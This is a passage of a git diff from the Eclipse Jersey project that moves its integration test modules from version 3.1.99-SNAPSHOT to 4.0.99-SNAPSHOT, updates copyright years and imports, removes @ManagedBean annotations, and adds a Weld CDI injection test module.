+        WebTarget target = target("sse");
+        try (SseEventSource source = SseEventSource.target(target).build()) {
+            source.register(System.out::println);
+            source.open();
+            Thread.sleep(500); // Consume events for just 500 ms
+        } catch (InterruptedException e) {
+        }
+    }
+}
diff --git a/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/resources/META-INF/beans.xml b/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/resources/META-INF/beans.xml
new file mode 100644
index 0000000..c175b60
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-inject-weld-test/src/test/resources/META-INF/beans.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<beans xmlns="https://jakarta.ee/xml/ns/jakartaee"
+       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+       xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/beans_4_0.xsd"
+       version="4.0" bean-discovery-mode="all">
+</beans>
diff --git a/tests/integration/cdi-integration/cdi-log-check/pom.xml b/tests/integration/cdi-integration/cdi-log-check/pom.xml
index c7bd8a9..35612df 100644
--- a/tests/integration/cdi-integration/cdi-log-check/pom.xml
+++ b/tests/integration/cdi-integration/cdi-log-check/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-log-check</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-manually-bound/pom.xml b/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
index 64fd389..041641a 100644
--- a/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
+++ b/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>cdi-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/cdi-integration/cdi-manually-bound/src/main/java/org/glassfish/jersey/tests/cdi/manuallybound/HK2Binder.java b/tests/integration/cdi-integration/cdi-manually-bound/src/main/java/org/glassfish/jersey/tests/cdi/manuallybound/HK2Binder.java
index e66dd03..29c8567 100644
--- a/tests/integration/cdi-integration/cdi-manually-bound/src/main/java/org/glassfish/jersey/tests/cdi/manuallybound/HK2Binder.java
+++ b/tests/integration/cdi-integration/cdi-manually-bound/src/main/java/org/glassfish/jersey/tests/cdi/manuallybound/HK2Binder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.tests.cdi.manuallybound;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 
 import jakarta.inject.Singleton;
 
diff --git a/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
index 25ab8a1..6b2964b 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
index 7304f7e..4b44501 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/cdi-integration/cdi-multimodule/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/pom.xml
index a66d6c7..9e477d5 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-multimodule</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
index 1bbf641..e309ef1 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
index a4a0cf1..dabbf32 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml b/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
index 4b9cc14..5e280b7 100644
--- a/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-multipart-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
index a6281b8..87e8e13 100644
--- a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
+++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/cdi-integration/cdi-singleton/pom.xml b/tests/integration/cdi-integration/cdi-singleton/pom.xml
index 760d155..fbd94fb 100644
--- a/tests/integration/cdi-integration/cdi-singleton/pom.xml
+++ b/tests/integration/cdi-integration/cdi-singleton/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>cdi-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml b/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml
index 15c7518..536ef0a 100644
--- a/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml
+++ b/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>cdi-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
index d410b64..42dd54c 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentExceptionMapper.java b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentExceptionMapper.java
index ba09eed..9c6a8b5 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentExceptionMapper.java
+++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentExceptionMapper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,7 +26,6 @@
 import jakarta.ws.rs.ext.ExceptionMapper;
 import jakarta.ws.rs.ext.Provider;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.PostConstruct;
 
 /**
@@ -36,7 +35,6 @@
  * @author Jakub Podlesak
  */
 @Provider
-@ManagedBean
 public class JCDIBeanDependentExceptionMapper implements ExceptionMapper<JDCIBeanDependentException> {
 
     private static final Logger LOGGER = Logger.getLogger(JCDIBeanDependentExceptionMapper.class.getName());
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentPerRequestResource.java b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentPerRequestResource.java
index 5982a79..fd674e0 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentPerRequestResource.java
+++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentPerRequestResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,7 +26,6 @@
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.core.UriInfo;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.Resource;
 import jakarta.annotation.PostConstruct;
 import jakarta.annotation.PreDestroy;
@@ -40,7 +39,6 @@
  * @author Jakub Podlesak
  */
 @Path("/jcdibean/dependent/per-request")
-@ManagedBean
 @RequestScoped
 public class JCDIBeanDependentPerRequestResource {
 
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentSingletonResource.java b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentSingletonResource.java
index 7cdc02f..d3e6cc3 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentSingletonResource.java
+++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/JCDIBeanDependentSingletonResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,6 @@
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.core.UriInfo;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.PostConstruct;
 import jakarta.annotation.PreDestroy;
 import jakarta.annotation.Resource;
@@ -41,7 +40,6 @@
  */
 @Path("/jcdibean/dependent/singleton/{p}")
 @ApplicationScoped
-@ManagedBean
 public class JCDIBeanDependentSingletonResource {
 
     private static final Logger LOGGER = Logger.getLogger(JCDIBeanDependentSingletonResource.class.getName());
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
index 99c2111..8859d18 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-with-jersey-injection-custom-cfg-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
index bffe949..5454819 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.ws.rs.ApplicationPath;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.internal.monitoring.MonitoringFeature;
 
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
index 2044b9d..1d074f9 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-with-jersey-injection-custom-hk2-banned-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
index 8528aaa..8d6a947 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.ws.rs.ApplicationPath;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.internal.monitoring.MonitoringFeature;
 
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
index a1ba20a..835053b 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-with-jersey-injection-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
index 901ecd6..73261cd 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/src/main/java/org/glassfish/jersey/tests/cdi/resources/MyApplication.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.ws.rs.ApplicationPath;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.internal.monitoring.MonitoringFeature;
 
diff --git a/tests/integration/cdi-integration/context-inject-on-server/pom.xml b/tests/integration/cdi-integration/context-inject-on-server/pom.xml
index 702b21c..06a23fe 100644
--- a/tests/integration/cdi-integration/context-inject-on-server/pom.xml
+++ b/tests/integration/cdi-integration/context-inject-on-server/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>context-inject-on-server</artifactId>
diff --git a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
index 3c5bc8c..78baf46 100644
--- a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
+++ b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>gf-cdi-inject-on-server</artifactId>
@@ -351,6 +351,7 @@
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-surefire-plugin</artifactId>
                 <configuration>
+                    <skipTests>true</skipTests>
                     <includes>
                         <include>**/GFTest.java</include>
                     </includes>
diff --git a/tests/integration/cdi-integration/pom.xml b/tests/integration/cdi-integration/pom.xml
index 6bf68e5..ba176b5 100644
--- a/tests/integration/cdi-integration/pom.xml
+++ b/tests/integration/cdi-integration/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
@@ -37,6 +37,7 @@
         <module>cdi-client-on-server</module>
         <module>cdi-ejb-test-webapp</module>
         <module>cdi-iface-with-non-jaxrs-impl-test-webapp</module>
+        <module>cdi-inject-weld-test</module>
         <module>cdi-manually-bound</module>
         <module>cdi-log-check</module>
         <module>cdi-multimodule</module>
diff --git a/tests/integration/client-connector-provider/pom.xml b/tests/integration/client-connector-provider/pom.xml
index 0524895..d3304aa 100644
--- a/tests/integration/client-connector-provider/pom.xml
+++ b/tests/integration/client-connector-provider/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>client-connector-provider</artifactId>
diff --git a/tests/integration/ejb-multimodule-reload/ear/pom.xml b/tests/integration/ejb-multimodule-reload/ear/pom.xml
index 20e482a..6b78056 100644
--- a/tests/integration/ejb-multimodule-reload/ear/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/ear/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule-reload/lib/pom.xml b/tests/integration/ejb-multimodule-reload/lib/pom.xml
index 4e378c4..783126e 100644
--- a/tests/integration/ejb-multimodule-reload/lib/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/lib/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule-reload/pom.xml b/tests/integration/ejb-multimodule-reload/pom.xml
index 5c9cd00..370c505 100644
--- a/tests/integration/ejb-multimodule-reload/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>ejb-multimodule-reload</artifactId>
diff --git a/tests/integration/ejb-multimodule-reload/war1/pom.xml b/tests/integration/ejb-multimodule-reload/war1/pom.xml
index 7aef695..afdccfa 100644
--- a/tests/integration/ejb-multimodule-reload/war1/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/war1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule-reload/war2/pom.xml b/tests/integration/ejb-multimodule-reload/war2/pom.xml
index 6927b77..d6cbee7 100644
--- a/tests/integration/ejb-multimodule-reload/war2/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/war2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule/ear/pom.xml b/tests/integration/ejb-multimodule/ear/pom.xml
index 7333741..c49c491 100644
--- a/tests/integration/ejb-multimodule/ear/pom.xml
+++ b/tests/integration/ejb-multimodule/ear/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule/lib/pom.xml b/tests/integration/ejb-multimodule/lib/pom.xml
index c8eb1fc..42bcd79 100644
--- a/tests/integration/ejb-multimodule/lib/pom.xml
+++ b/tests/integration/ejb-multimodule/lib/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule/pom.xml b/tests/integration/ejb-multimodule/pom.xml
index b9423af..9d6ec73 100644
--- a/tests/integration/ejb-multimodule/pom.xml
+++ b/tests/integration/ejb-multimodule/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>ejb-multimodule</artifactId>
diff --git a/tests/integration/ejb-multimodule/war/pom.xml b/tests/integration/ejb-multimodule/war/pom.xml
index 263d0eb..1065563 100644
--- a/tests/integration/ejb-multimodule/war/pom.xml
+++ b/tests/integration/ejb-multimodule/war/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-test-webapp/pom.xml b/tests/integration/ejb-test-webapp/pom.xml
index b233076..86d90da 100644
--- a/tests/integration/ejb-test-webapp/pom.xml
+++ b/tests/integration/ejb-test-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>ejb-test-webapp</artifactId>
diff --git a/tests/integration/externalproperties/pom.xml b/tests/integration/externalproperties/pom.xml
index e4075c3..9772ca4 100644
--- a/tests/integration/externalproperties/pom.xml
+++ b/tests/integration/externalproperties/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>externalproperties</artifactId>
diff --git a/tests/integration/j-376/pom.xml b/tests/integration/j-376/pom.xml
index 8d94854..7cf19b7 100644
--- a/tests/integration/j-376/pom.xml
+++ b/tests/integration/j-376/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>j-376</artifactId>
diff --git a/tests/integration/j-441/ear/pom.xml b/tests/integration/j-441/ear/pom.xml
index 91fb19a..f7f82c9 100644
--- a/tests/integration/j-441/ear/pom.xml
+++ b/tests/integration/j-441/ear/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
     <artifactId>j-441-ear</artifactId>
diff --git a/tests/integration/j-441/pom.xml b/tests/integration/j-441/pom.xml
index 20de56b..25a06da 100644
--- a/tests/integration/j-441/pom.xml
+++ b/tests/integration/j-441/pom.xml
@@ -23,7 +23,7 @@
     <parent>
